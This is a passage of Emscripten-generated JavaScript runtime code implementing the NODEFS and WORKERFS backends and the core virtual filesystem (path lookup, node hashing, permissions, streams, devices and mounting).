  2557.          return NODEFS.createNode(null, "/", NODEFS.getMode(mount.opts.root), 0)
  2558.      }),
  2559.      createNode: (function(parent, name, mode, dev) {
  2560.          if (!FS.isDir(mode) && !FS.isFile(mode) && !FS.isLink(mode)) {
  2561.              throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  2562.          }
  2563.          var node = FS.createNode(parent, name, mode);
  2564.          node.node_ops = NODEFS.node_ops;
  2565.          node.stream_ops = NODEFS.stream_ops;
  2566.          return node
  2567.      }),
  2568.      getMode: (function(path) {
  2569.          var stat;
  2570.          try {
  2571.              stat = fs.lstatSync(path);
  2572.              if (NODEFS.isWindows) {
  2573.                  stat.mode = stat.mode | (stat.mode & 146) >> 1
  2574.              }
  2575.          } catch (e) {
  2576.              if (!e.code) throw e;
  2577.              throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2578.          }
  2579.          return stat.mode
  2580.      }),
  2581.      realPath: (function(node) {
  2582.          var parts = [];
  2583.          while (node.parent !== node) {
  2584.              parts.push(node.name);
  2585.              node = node.parent
  2586.          }
  2587.          parts.push(node.mount.opts.root);
  2588.          parts.reverse();
  2589.          return PATH.join.apply(null, parts)
  2590.      }),
  2591.      flagsToPermissionStringMap: {
  2592.          0: "r",
  2593.          1: "r+",
  2594.          2: "r+",
  2595.          64: "r",
  2596.          65: "r+",
  2597.          66: "r+",
  2598.          129: "rx+",
  2599.          193: "rx+",
  2600.          514: "w+",
  2601.          577: "w",
  2602.          578: "w+",
  2603.          705: "wx",
  2604.          706: "wx+",
  2605.          1024: "a",
  2606.          1025: "a",
  2607.          1026: "a+",
  2608.          1089: "a",
  2609.          1090: "a+",
  2610.          1153: "ax",
  2611.          1154: "ax+",
  2612.          1217: "ax",
  2613.          1218: "ax+",
  2614.          4096: "rs",
  2615.          4098: "rs+"
  2616.      },
  2617.      flagsToPermissionString: (function(flags) {
  2618.          flags &= ~2097152;
  2619.          flags &= ~2048;
  2620.          flags &= ~32768;
  2621.          flags &= ~524288;
  2622.          if (flags in NODEFS.flagsToPermissionStringMap) {
  2623.              return NODEFS.flagsToPermissionStringMap[flags]
  2624.          } else {
  2625.              throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  2626.          }
  2627.      }),
  2628.      node_ops: {
  2629.          getattr: (function(node) {
  2630.              var path = NODEFS.realPath(node);
  2631.              var stat;
  2632.              try {
  2633.                  stat = fs.lstatSync(path)
  2634.              } catch (e) {
  2635.                  if (!e.code) throw e;
  2636.                  throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2637.              }
  2638.              if (NODEFS.isWindows && !stat.blksize) {
  2639.                  stat.blksize = 4096
  2640.              }
  2641.              if (NODEFS.isWindows && !stat.blocks) {
  2642.                  stat.blocks = (stat.size + stat.blksize - 1) / stat.blksize | 0
  2643.              }
  2644.              return {
  2645.                  dev: stat.dev,
  2646.                  ino: stat.ino,
  2647.                  mode: stat.mode,
  2648.                  nlink: stat.nlink,
  2649.                  uid: stat.uid,
  2650.                  gid: stat.gid,
  2651.                  rdev: stat.rdev,
  2652.                  size: stat.size,
  2653.                  atime: stat.atime,
  2654.                  mtime: stat.mtime,
  2655.                  ctime: stat.ctime,
  2656.                  blksize: stat.blksize,
  2657.                  blocks: stat.blocks
  2658.              }
  2659.          }),
  2660.          setattr: (function(node, attr) {
  2661.              var path = NODEFS.realPath(node);
  2662.              try {
  2663.                  if (attr.mode !== undefined) {
  2664.                      fs.chmodSync(path, attr.mode);
  2665.                      node.mode = attr.mode
  2666.                  }
  2667.                  if (attr.timestamp !== undefined) {
  2668.                      var date = new Date(attr.timestamp);
  2669.                      fs.utimesSync(path, date, date)
  2670.                  }
  2671.                  if (attr.size !== undefined) {
  2672.                      fs.truncateSync(path, attr.size)
  2673.                  }
  2674.              } catch (e) {
  2675.                  if (!e.code) throw e;
  2676.                  throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2677.              }
  2678.          }),
  2679.          lookup: (function(parent, name) {
  2680.              var path = PATH.join2(NODEFS.realPath(parent), name);
  2681.              var mode = NODEFS.getMode(path);
  2682.              return NODEFS.createNode(parent, name, mode)
  2683.          }),
  2684.          mknod: (function(parent, name, mode, dev) {
  2685.              var node = NODEFS.createNode(parent, name, mode, dev);
  2686.              var path = NODEFS.realPath(node);
  2687.              try {
  2688.                  if (FS.isDir(node.mode)) {
  2689.                      fs.mkdirSync(path, node.mode)
  2690.                  } else {
  2691.                      fs.writeFileSync(path, "", {
  2692.                          mode: node.mode
  2693.                      })
  2694.                  }
  2695.              } catch (e) {
  2696.                  if (!e.code) throw e;
  2697.                  throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2698.              }
  2699.              return node
  2700.          }),
  2701.          rename: (function(oldNode, newDir, newName) {
  2702.              var oldPath = NODEFS.realPath(oldNode);
  2703.              var newPath = PATH.join2(NODEFS.realPath(newDir), newName);
  2704.              try {
  2705.                  fs.renameSync(oldPath, newPath)
  2706.              } catch (e) {
  2707.                  if (!e.code) throw e;
  2708.                  throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2709.              }
  2710.          }),
  2711.          unlink: (function(parent, name) {
  2712.              var path = PATH.join2(NODEFS.realPath(parent), name);
  2713.              try {
  2714.                  fs.unlinkSync(path)
  2715.              } catch (e) {
  2716.                  if (!e.code) throw e;
  2717.                  throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2718.              }
  2719.          }),
  2720.          rmdir: (function(parent, name) {
  2721.              var path = PATH.join2(NODEFS.realPath(parent), name);
  2722.              try {
  2723.                  fs.rmdirSync(path)
  2724.              } catch (e) {
  2725.                  if (!e.code) throw e;
  2726.                  throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2727.              }
  2728.          }),
  2729.          readdir: (function(node) {
  2730.              var path = NODEFS.realPath(node);
  2731.              try {
  2732.                  return fs.readdirSync(path)
  2733.              } catch (e) {
  2734.                  if (!e.code) throw e;
  2735.                  throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2736.              }
  2737.          }),
  2738.          symlink: (function(parent, newName, oldPath) {
  2739.              var newPath = PATH.join2(NODEFS.realPath(parent), newName);
  2740.              try {
  2741.                  fs.symlinkSync(oldPath, newPath)
  2742.              } catch (e) {
  2743.                  if (!e.code) throw e;
  2744.                  throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2745.              }
  2746.          }),
  2747.          readlink: (function(node) {
  2748.              var path = NODEFS.realPath(node);
  2749.              try {
  2750.                  path = fs.readlinkSync(path);
  2751.                  path = NODEJS_PATH.relative(NODEJS_PATH.resolve(node.mount.opts.root), path);
  2752.                  return path
  2753.              } catch (e) {
  2754.                  if (!e.code) throw e;
  2755.                  throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2756.              }
  2757.          })
  2758.      },
  2759.      stream_ops: {
  2760.          open: (function(stream) {
  2761.              var path = NODEFS.realPath(stream.node);
  2762.              try {
  2763.                  if (FS.isFile(stream.node.mode)) {
  2764.                      stream.nfd = fs.openSync(path, NODEFS.flagsToPermissionString(stream.flags))
  2765.                  }
  2766.              } catch (e) {
  2767.                  if (!e.code) throw e;
  2768.                  throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2769.              }
  2770.          }),
  2771.          close: (function(stream) {
  2772.              try {
  2773.                  if (FS.isFile(stream.node.mode) && stream.nfd) {
  2774.                      fs.closeSync(stream.nfd)
  2775.                  }
  2776.              } catch (e) {
  2777.                  if (!e.code) throw e;
  2778.                  throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2779.              }
  2780.          }),
  2781.          read: (function(stream, buffer, offset, length, position) {
  2782.              if (length === 0) return 0;
  2783.              var nbuffer = new Buffer(length);
  2784.              var res;
  2785.              try {
  2786.                  res = fs.readSync(stream.nfd, nbuffer, 0, length, position)
  2787.              } catch (e) {
  2788.                  throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2789.              }
  2790.              if (res > 0) {
  2791.                  for (var i = 0; i < res; i++) {
  2792.                      buffer[offset + i] = nbuffer[i]
  2793.                  }
  2794.              }
  2795.              return res
  2796.          }),
  2797.          write: (function(stream, buffer, offset, length, position) {
  2798.              var nbuffer = new Buffer(buffer.subarray(offset, offset + length));
  2799.              var res;
  2800.              try {
  2801.                  res = fs.writeSync(stream.nfd, nbuffer, 0, length, position)
  2802.              } catch (e) {
  2803.                  throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2804.              }
  2805.              return res
  2806.          }),
  2807.          llseek: (function(stream, offset, whence) {
  2808.              var position = offset;
  2809.              if (whence === 1) {
  2810.                  position += stream.position
  2811.              } else if (whence === 2) {
  2812.                  if (FS.isFile(stream.node.mode)) {
  2813.                      try {
  2814.                          var stat = fs.fstatSync(stream.nfd);
  2815.                          position += stat.size
  2816.                      } catch (e) {
  2817.                          throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2818.                      }
  2819.                  }
  2820.              }
  2821.              if (position < 0) {
  2822.                  throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  2823.              }
  2824.              return position
  2825.          })
  2826.      }
  2827.  };
  2828.  var WORKERFS = {
  2829.      DIR_MODE: 16895,
  2830.      FILE_MODE: 33279,
  2831.      reader: null,
  2832.      mount: (function(mount) {
  2833.          assert(ENVIRONMENT_IS_WORKER);
  2834.          if (!WORKERFS.reader) WORKERFS.reader = new FileReaderSync;
  2835.          var root = WORKERFS.createNode(null, "/", WORKERFS.DIR_MODE, 0);
  2836.          var createdParents = {};
  2837.  
  2838.          function ensureParent(path) {
  2839.              var parts = path.split("/");
  2840.              var parent = root;
  2841.              for (var i = 0; i < parts.length - 1; i++) {
  2842.                  var curr = parts.slice(0, i + 1).join("/");
  2843.                  if (!createdParents[curr]) {
  2844.                      createdParents[curr] = WORKERFS.createNode(parent, parts[i], WORKERFS.DIR_MODE, 0)
  2845.                  }
  2846.                  parent = createdParents[curr]
  2847.              }
  2848.              return parent
  2849.          }
  2850.  
  2851.          function base(path) {
  2852.              var parts = path.split("/");
  2853.              return parts[parts.length - 1]
  2854.          }
  2855.          Array.prototype.forEach.call(mount.opts["files"] || [], (function(file) {
  2856.              WORKERFS.createNode(ensureParent(file.name), base(file.name), WORKERFS.FILE_MODE, 0, file, file.lastModifiedDate)
  2857.          }));
  2858.          (mount.opts["blobs"] || []).forEach((function(obj) {
  2859.              WORKERFS.createNode(ensureParent(obj["name"]), base(obj["name"]), WORKERFS.FILE_MODE, 0, obj["data"])
  2860.          }));
  2861.          (mount.opts["packages"] || []).forEach((function(pack) {
  2862.              pack["metadata"].files.forEach((function(file) {
  2863.                  var name = file.filename.substr(1);
  2864.                  WORKERFS.createNode(ensureParent(name), base(name), WORKERFS.FILE_MODE, 0, pack["blob"].slice(file.start, file.end))
  2865.              }))
  2866.          }));
  2867.          return root
  2868.      }),
  2869.      createNode: (function(parent, name, mode, dev, contents, mtime) {
  2870.          var node = FS.createNode(parent, name, mode);
  2871.          node.mode = mode;
  2872.          node.node_ops = WORKERFS.node_ops;
  2873.          node.stream_ops = WORKERFS.stream_ops;
  2874.          node.timestamp = (mtime || new Date).getTime();
  2875.          assert(WORKERFS.FILE_MODE !== WORKERFS.DIR_MODE);
  2876.          if (mode === WORKERFS.FILE_MODE) {
  2877.              node.size = contents.size;
  2878.              node.contents = contents
  2879.          } else {
  2880.              node.size = 4096;
  2881.              node.contents = {}
  2882.          }
  2883.          if (parent) {
  2884.              parent.contents[name] = node
  2885.          }
  2886.          return node
  2887.      }),
  2888.      node_ops: {
  2889.          getattr: (function(node) {
  2890.              return {
  2891.                  dev: 1,
  2892.                  ino: undefined,
  2893.                  mode: node.mode,
  2894.                  nlink: 1,
  2895.                  uid: 0,
  2896.                  gid: 0,
  2897.                  rdev: undefined,
  2898.                  size: node.size,
  2899.                  atime: new Date(node.timestamp),
  2900.                  mtime: new Date(node.timestamp),
  2901.                  ctime: new Date(node.timestamp),
  2902.                  blksize: 4096,
  2903.                  blocks: Math.ceil(node.size / 4096)
  2904.              }
  2905.          }),
  2906.          setattr: (function(node, attr) {
  2907.              if (attr.mode !== undefined) {
  2908.                  node.mode = attr.mode
  2909.              }
  2910.              if (attr.timestamp !== undefined) {
  2911.                  node.timestamp = attr.timestamp
  2912.              }
  2913.          }),
  2914.          lookup: (function(parent, name) {
  2915.              throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
  2916.          }),
  2917.          mknod: (function(parent, name, mode, dev) {
  2918.              throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  2919.          }),
  2920.          rename: (function(oldNode, newDir, newName) {
  2921.              throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  2922.          }),
  2923.          unlink: (function(parent, name) {
  2924.              throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  2925.          }),
  2926.          rmdir: (function(parent, name) {
  2927.              throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  2928.          }),
  2929.          readdir: (function(node) {
  2930.              var entries = [".", ".."];
  2931.              for (var key in node.contents) {
  2932.                  if (!node.contents.hasOwnProperty(key)) {
  2933.                      continue
  2934.                  }
  2935.                  entries.push(key)
  2936.              }
  2937.              return entries
  2938.          }),
  2939.          symlink: (function(parent, newName, oldPath) {
  2940.              throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  2941.          }),
  2942.          readlink: (function(node) {
  2943.              throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  2944.          })
  2945.      },
  2946.      stream_ops: {
  2947.          read: (function(stream, buffer, offset, length, position) {
  2948.              if (position >= stream.node.size) return 0;
  2949.              var chunk = stream.node.contents.slice(position, position + length);
  2950.              var ab = WORKERFS.reader.readAsArrayBuffer(chunk);
  2951.              buffer.set(new Uint8Array(ab), offset);
  2952.              return chunk.size
  2953.          }),
  2954.          write: (function(stream, buffer, offset, length, position) {
  2955.              throw new FS.ErrnoError(ERRNO_CODES.EIO)
  2956.          }),
  2957.          llseek: (function(stream, offset, whence) {
  2958.              var position = offset;
  2959.              if (whence === 1) {
  2960.                  position += stream.position
  2961.              } else if (whence === 2) {
  2962.                  if (FS.isFile(stream.node.mode)) {
  2963.                      position += stream.node.size
  2964.                  }
  2965.              }
  2966.              if (position < 0) {
  2967.                  throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  2968.              }
  2969.              return position
  2970.          })
  2971.      }
  2972.  };
  2973.  STATICTOP += 16;
  2974.  STATICTOP += 16;
  2975.  STATICTOP += 16;
  2976.  var FS = {
  2977.      root: null,
  2978.      mounts: [],
  2979.      devices: [null],
  2980.      streams: [],
  2981.      nextInode: 1,
  2982.      nameTable: null,
  2983.      currentPath: "/",
  2984.      initialized: false,
  2985.      ignorePermissions: true,
  2986.      trackingDelegate: {},
  2987.      tracking: {
  2988.          openFlags: {
  2989.              READ: 1,
  2990.              WRITE: 2
  2991.          }
  2992.      },
  2993.      ErrnoError: null,
  2994.      genericErrors: {},
  2995.      filesystems: null,
  2996.      syncFSRequests: 0,
  2997.      handleFSError: (function(e) {
  2998.          if (!(e instanceof FS.ErrnoError)) throw e + " : " + stackTrace();
  2999.          return ___setErrNo(e.errno)
  3000.      }),
  3001.      lookupPath: (function(path, opts) {
  3002.          path = PATH.resolve(FS.cwd(), path);
  3003.          opts = opts || {};
  3004.          if (!path) return {
  3005.              path: "",
  3006.              node: null
  3007.          };
  3008.          var defaults = {
  3009.              follow_mount: true,
  3010.              recurse_count: 0
  3011.          };
  3012.          for (var key in defaults) {
  3013.              if (opts[key] === undefined) {
  3014.                  opts[key] = defaults[key]
  3015.              }
  3016.          }
  3017.          if (opts.recurse_count > 8) {
  3018.              throw new FS.ErrnoError(ERRNO_CODES.ELOOP)
  3019.          }
  3020.          var parts = PATH.normalizeArray(path.split("/").filter((function(p) {
  3021.              return !!p
  3022.          })), false);
  3023.          var current = FS.root;
  3024.          var current_path = "/";
  3025.          for (var i = 0; i < parts.length; i++) {
  3026.              var islast = i === parts.length - 1;
  3027.              if (islast && opts.parent) {
  3028.                  break
  3029.              }
  3030.              current = FS.lookupNode(current, parts[i]);
  3031.              current_path = PATH.join2(current_path, parts[i]);
  3032.              if (FS.isMountpoint(current)) {
  3033.                  if (!islast || islast && opts.follow_mount) {
  3034.                      current = current.mounted.root
  3035.                  }
  3036.              }
  3037.              if (!islast || opts.follow) {
  3038.                  var count = 0;
  3039.                  while (FS.isLink(current.mode)) {
  3040.                      var link = FS.readlink(current_path);
  3041.                      current_path = PATH.resolve(PATH.dirname(current_path), link);
  3042.                      var lookup = FS.lookupPath(current_path, {
  3043.                          recurse_count: opts.recurse_count
  3044.                      });
  3045.                      current = lookup.node;
  3046.                      if (count++ > 40) {
  3047.                          throw new FS.ErrnoError(ERRNO_CODES.ELOOP)
  3048.                      }
  3049.                  }
  3050.              }
  3051.          }
  3052.          return {
  3053.              path: current_path,
  3054.              node: current
  3055.          }
  3056.      }),
  3057.      getPath: (function(node) {
  3058.          var path;
  3059.          while (true) {
  3060.              if (FS.isRoot(node)) {
  3061.                  var mount = node.mount.mountpoint;
  3062.                  if (!path) return mount;
  3063.                  return mount[mount.length - 1] !== "/" ? mount + "/" + path : mount + path
  3064.              }
  3065.              path = path ? node.name + "/" + path : node.name;
  3066.              node = node.parent
  3067.          }
  3068.      }),
  3069.      hashName: (function(parentid, name) {
  3070.          var hash = 0;
  3071.          for (var i = 0; i < name.length; i++) {
  3072.              hash = (hash << 5) - hash + name.charCodeAt(i) | 0
  3073.          }
  3074.          return (parentid + hash >>> 0) % FS.nameTable.length
  3075.      }),
  3076.      hashAddNode: (function(node) {
  3077.          var hash = FS.hashName(node.parent.id, node.name);
  3078.          node.name_next = FS.nameTable[hash];
  3079.          FS.nameTable[hash] = node
  3080.      }),
  3081.      hashRemoveNode: (function(node) {
  3082.          var hash = FS.hashName(node.parent.id, node.name);
  3083.          if (FS.nameTable[hash] === node) {
  3084.              FS.nameTable[hash] = node.name_next
  3085.          } else {
  3086.              var current = FS.nameTable[hash];
  3087.              while (current) {
  3088.                  if (current.name_next === node) {
  3089.                      current.name_next = node.name_next;
  3090.                      break
  3091.                  }
  3092.                  current = current.name_next
  3093.              }
  3094.          }
  3095.      }),
  3096.      lookupNode: (function(parent, name) {
  3097.          var err = FS.mayLookup(parent);
  3098.          if (err) {
  3099.              throw new FS.ErrnoError(err, parent)
  3100.          }
  3101.          var hash = FS.hashName(parent.id, name);
  3102.          for (var node = FS.nameTable[hash]; node; node = node.name_next) {
  3103.              var nodeName = node.name;
  3104.              if (node.parent.id === parent.id && nodeName === name) {
  3105.                  return node
  3106.              }
  3107.          }
  3108.          return FS.lookup(parent, name)
  3109.      }),
  3110.      createNode: (function(parent, name, mode, rdev) {
  3111.          if (!FS.FSNode) {
  3112.              FS.FSNode = (function(parent, name, mode, rdev) {
  3113.                  if (!parent) {
  3114.                      parent = this
  3115.                  }
  3116.                  this.parent = parent;
  3117.                  this.mount = parent.mount;
  3118.                  this.mounted = null;
  3119.                  this.id = FS.nextInode++;
  3120.                  this.name = name;
  3121.                  this.mode = mode;
  3122.                  this.node_ops = {};
  3123.                  this.stream_ops = {};
  3124.                  this.rdev = rdev
  3125.              });
  3126.              FS.FSNode.prototype = {};
  3127.              var readMode = 292 | 73;
  3128.              var writeMode = 146;
  3129.              Object.defineProperties(FS.FSNode.prototype, {
  3130.                  read: {
  3131.                      get: (function() {
  3132.                          return (this.mode & readMode) === readMode
  3133.                      }),
  3134.                      set: (function(val) {
  3135.                          val ? this.mode |= readMode : this.mode &= ~readMode
  3136.                      })
  3137.                  },
  3138.                  write: {
  3139.                      get: (function() {
  3140.                          return (this.mode & writeMode) === writeMode
  3141.                      }),
  3142.                      set: (function(val) {
  3143.                          val ? this.mode |= writeMode : this.mode &= ~writeMode
  3144.                      })
  3145.                  },
  3146.                  isFolder: {
  3147.                      get: (function() {
  3148.                          return FS.isDir(this.mode)
  3149.                      })
  3150.                  },
  3151.                  isDevice: {
  3152.                      get: (function() {
  3153.                          return FS.isChrdev(this.mode)
  3154.                      })
  3155.                  }
  3156.              })
  3157.          }
  3158.          var node = new FS.FSNode(parent, name, mode, rdev);
  3159.          FS.hashAddNode(node);
  3160.          return node
  3161.      }),
  3162.      destroyNode: (function(node) {
  3163.          FS.hashRemoveNode(node)
  3164.      }),
  3165.      isRoot: (function(node) {
  3166.          return node === node.parent
  3167.      }),
  3168.      isMountpoint: (function(node) {
  3169.          return !!node.mounted
  3170.      }),
  3171.      isFile: (function(mode) {
  3172.          return (mode & 61440) === 32768
  3173.      }),
  3174.      isDir: (function(mode) {
  3175.          return (mode & 61440) === 16384
  3176.      }),
  3177.      isLink: (function(mode) {
  3178.          return (mode & 61440) === 40960
  3179.      }),
  3180.      isChrdev: (function(mode) {
  3181.          return (mode & 61440) === 8192
  3182.      }),
  3183.      isBlkdev: (function(mode) {
  3184.          return (mode & 61440) === 24576
  3185.      }),
  3186.      isFIFO: (function(mode) {
  3187.          return (mode & 61440) === 4096
  3188.      }),
  3189.      isSocket: (function(mode) {
  3190.          return (mode & 49152) === 49152
  3191.      }),
  3192.      flagModes: {
  3193.          "r": 0,
  3194.          "rs": 1052672,
  3195.          "r+": 2,
  3196.          "w": 577,
  3197.          "wx": 705,
  3198.          "xw": 705,
  3199.          "w+": 578,
  3200.          "wx+": 706,
  3201.          "xw+": 706,
  3202.          "a": 1089,
  3203.          "ax": 1217,
  3204.          "xa": 1217,
  3205.          "a+": 1090,
  3206.          "ax+": 1218,
  3207.          "xa+": 1218
  3208.      },
  3209.      modeStringToFlags: (function(str) {
  3210.          var flags = FS.flagModes[str];
  3211.          if (typeof flags === "undefined") {
  3212.              throw new Error("Unknown file open mode: " + str)
  3213.          }
  3214.          return flags
  3215.      }),
  3216.      flagsToPermissionString: (function(flag) {
  3217.          var perms = ["r", "w", "rw"][flag & 3];
  3218.          if (flag & 512) {
  3219.              perms += "w"
  3220.          }
  3221.          return perms
  3222.      }),
  3223.      nodePermissions: (function(node, perms) {
  3224.          if (FS.ignorePermissions) {
  3225.              return 0
  3226.          }
  3227.          if (perms.indexOf("r") !== -1 && !(node.mode & 292)) {
  3228.              return ERRNO_CODES.EACCES
  3229.          } else if (perms.indexOf("w") !== -1 && !(node.mode & 146)) {
  3230.              return ERRNO_CODES.EACCES
  3231.          } else if (perms.indexOf("x") !== -1 && !(node.mode & 73)) {
  3232.              return ERRNO_CODES.EACCES
  3233.          }
  3234.          return 0
  3235.      }),
  3236.      mayLookup: (function(dir) {
  3237.          var err = FS.nodePermissions(dir, "x");
  3238.          if (err) return err;
  3239.          if (!dir.node_ops.lookup) return ERRNO_CODES.EACCES;
  3240.          return 0
  3241.      }),
  3242.      mayCreate: (function(dir, name) {
  3243.          try {
  3244.              var node = FS.lookupNode(dir, name);
  3245.              return ERRNO_CODES.EEXIST
  3246.          } catch (e) {}
  3247.          return FS.nodePermissions(dir, "wx")
  3248.      }),
  3249.      mayDelete: (function(dir, name, isdir) {
  3250.          var node;
  3251.          try {
  3252.              node = FS.lookupNode(dir, name)
  3253.          } catch (e) {
  3254.              return e.errno
  3255.          }
  3256.          var err = FS.nodePermissions(dir, "wx");
  3257.          if (err) {
  3258.              return err
  3259.          }
  3260.          if (isdir) {
  3261.              if (!FS.isDir(node.mode)) {
  3262.                  return ERRNO_CODES.ENOTDIR
  3263.              }
  3264.              if (FS.isRoot(node) || FS.getPath(node) === FS.cwd()) {
  3265.                  return ERRNO_CODES.EBUSY
  3266.              }
  3267.          } else {
  3268.              if (FS.isDir(node.mode)) {
  3269.                  return ERRNO_CODES.EISDIR
  3270.              }
  3271.          }
  3272.          return 0
  3273.      }),
  3274.      mayOpen: (function(node, flags) {
  3275.          if (!node) {
  3276.              return ERRNO_CODES.ENOENT
  3277.          }
  3278.          if (FS.isLink(node.mode)) {
  3279.              return ERRNO_CODES.ELOOP
  3280.          } else if (FS.isDir(node.mode)) {
  3281.              if (FS.flagsToPermissionString(flags) !== "r" || flags & 512) {
  3282.                  return ERRNO_CODES.EISDIR
  3283.              }
  3284.          }
  3285.          return FS.nodePermissions(node, FS.flagsToPermissionString(flags))
  3286.      }),
  3287.      MAX_OPEN_FDS: 4096,
  3288.      nextfd: (function(fd_start, fd_end) {
  3289.          fd_start = fd_start || 0;
  3290.          fd_end = fd_end || FS.MAX_OPEN_FDS;
  3291.          for (var fd = fd_start; fd <= fd_end; fd++) {
  3292.              if (!FS.streams[fd]) {
  3293.                  return fd
  3294.              }
  3295.          }
  3296.          throw new FS.ErrnoError(ERRNO_CODES.EMFILE)
  3297.      }),
  3298.      getStream: (function(fd) {
  3299.          return FS.streams[fd]
  3300.      }),
  3301.      createStream: (function(stream, fd_start, fd_end) {
  3302.          if (!FS.FSStream) {
  3303.              FS.FSStream = (function() {});
  3304.              FS.FSStream.prototype = {};
  3305.              Object.defineProperties(FS.FSStream.prototype, {
  3306.                  object: {
  3307.                      get: (function() {
  3308.                          return this.node
  3309.                      }),
  3310.                      set: (function(val) {
  3311.                          this.node = val
  3312.                      })
  3313.                  },
  3314.                  isRead: {
  3315.                      get: (function() {
  3316.                          return (this.flags & 2097155) !== 1
  3317.                      })
  3318.                  },
  3319.                  isWrite: {
  3320.                      get: (function() {
  3321.                          return (this.flags & 2097155) !== 0
  3322.                      })
  3323.                  },
  3324.                  isAppend: {
  3325.                      get: (function() {
  3326.                          return this.flags & 1024
  3327.                      })
  3328.                  }
  3329.              })
  3330.          }
  3331.          var newStream = new FS.FSStream;
  3332.          for (var p in stream) {
  3333.              newStream[p] = stream[p]
  3334.          }
  3335.          stream = newStream;
  3336.          var fd = FS.nextfd(fd_start, fd_end);
  3337.          stream.fd = fd;
  3338.          FS.streams[fd] = stream;
  3339.          return stream
  3340.      }),
  3341.      closeStream: (function(fd) {
  3342.          FS.streams[fd] = null
  3343.      }),
  3344.      chrdev_stream_ops: {
  3345.          open: (function(stream) {
  3346.              var device = FS.getDevice(stream.node.rdev);
  3347.              stream.stream_ops = device.stream_ops;
  3348.              if (stream.stream_ops.open) {
  3349.                  stream.stream_ops.open(stream)
  3350.              }
  3351.          }),
  3352.          llseek: (function() {
  3353.              throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)
  3354.          })
  3355.      },
  3356.      major: (function(dev) {
  3357.          return dev >> 8
  3358.      }),
  3359.      minor: (function(dev) {
  3360.          return dev & 255
  3361.      }),
  3362.      makedev: (function(ma, mi) {
  3363.          return ma << 8 | mi
  3364.      }),
  3365.      registerDevice: (function(dev, ops) {
  3366.          FS.devices[dev] = {
  3367.              stream_ops: ops
  3368.          }
  3369.      }),
  3370.      getDevice: (function(dev) {
  3371.          return FS.devices[dev]
  3372.      }),
  3373.      getMounts: (function(mount) {
  3374.          var mounts = [];
  3375.          var check = [mount];
  3376.          while (check.length) {
  3377.              var m = check.pop();
  3378.              mounts.push(m);
  3379.              check.push.apply(check, m.mounts)
  3380.          }
  3381.          return mounts
  3382.      }),
  3383.      syncfs: (function(populate, callback) {
  3384.          if (typeof populate === "function") {
  3385.              callback = populate;
  3386.              populate = false
  3387.          }
  3388.          FS.syncFSRequests++;
  3389.          if (FS.syncFSRequests > 1) {
  3390.              console.log("warning: " + FS.syncFSRequests + " FS.syncfs operations in flight at once, probably just doing extra work")
  3391.          }
  3392.          var mounts = FS.getMounts(FS.root.mount);
  3393.          var completed = 0;
  3394.  
  3395.          function doCallback(err) {
  3396.              assert(FS.syncFSRequests > 0);
  3397.              FS.syncFSRequests--;
  3398.              return callback(err)
  3399.          }
  3400.  
  3401.          function done(err) {
  3402.              if (err) {
  3403.                  if (!done.errored) {
  3404.                      done.errored = true;
  3405.                      return doCallback(err)
  3406.                  }
  3407.                  return
  3408.              }
  3409.              if (++completed >= mounts.length) {
  3410.                  doCallback(null)
  3411.              }
  3412.          }
  3413.          mounts.forEach((function(mount) {
  3414.              if (!mount.type.syncfs) {
  3415.                  return done(null)
  3416.              }
  3417.              mount.type.syncfs(mount, populate, done)
  3418.          }))
  3419.      }),
  3420.      mount: (function(type, opts, mountpoint) {
  3421.          var root = mountpoint === "/";
  3422.          var pseudo = !mountpoint;
  3423.          var node;
  3424.          if (root && FS.root) {
  3425.              throw new FS.ErrnoError(ERRNO_CODES.EBUSY)
  3426.          } else if (!root && !pseudo) {
  3427.              var lookup = FS.lookupPath(mountpoint, {
  3428.                  follow_mount: false
  3429.              });
  3430.              mountpoint = lookup.path;
  3431.              node = lookup.node;
  3432.              if (FS.isMountpoint(node)) {
  3433.                  throw new FS.ErrnoError(ERRNO_CODES.EBUSY)
  3434.              }
  3435.              if (!FS.isDir(node.mode)) {
  3436.                  throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)
  3437.              }
  3438.          }
  3439.          var mount = {
  3440.              type: type,
  3441.              opts: opts,
  3442.              mountpoint: mountpoint,
  3443.              mounts: []
  3444.          };
  3445.          var mountRoot = type.mount(mount);
  3446.          mountRoot.mount = mount;
  3447.          mount.root = mountRoot;
  3448.          if (root) {
  3449.              FS.root = mountRoot
  3450.          } else if (node) {
  3451.              node.mounted = mount;
  3452.              if (node.mount) {
  3453.                  node.mount.mounts.push(mount)
  3454.              }
  3455.          }
  3456.          return mountRoot
  3457.      }),
  3458.      unmount: (function(mountpoint) {
  3459.          var lookup = FS.lookupPath(mountpoint, {
  3460.              follow_mount: false
  3461.          });
  3462.          if (!FS.isMountpoint(lookup.node)) {
  3463.              throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  3464.          }
  3465.          var node = lookup.node;
  3466.          var mount = node.mounted;
  3467.          var mounts = FS.getMounts(mount);
  3468.          Object.keys(FS.nameTable).forEach((function(hash) {
  3469.              var current = FS.nameTable[hash];
  3470.              while (current) {
  3471.                  var next = current.name_next;
  3472.                  if (mounts.indexOf(current.mount) !== -1) {
  3473.                      FS.destroyNode(current)
  3474.                  }
  3475.                  current = next
  3476.              }
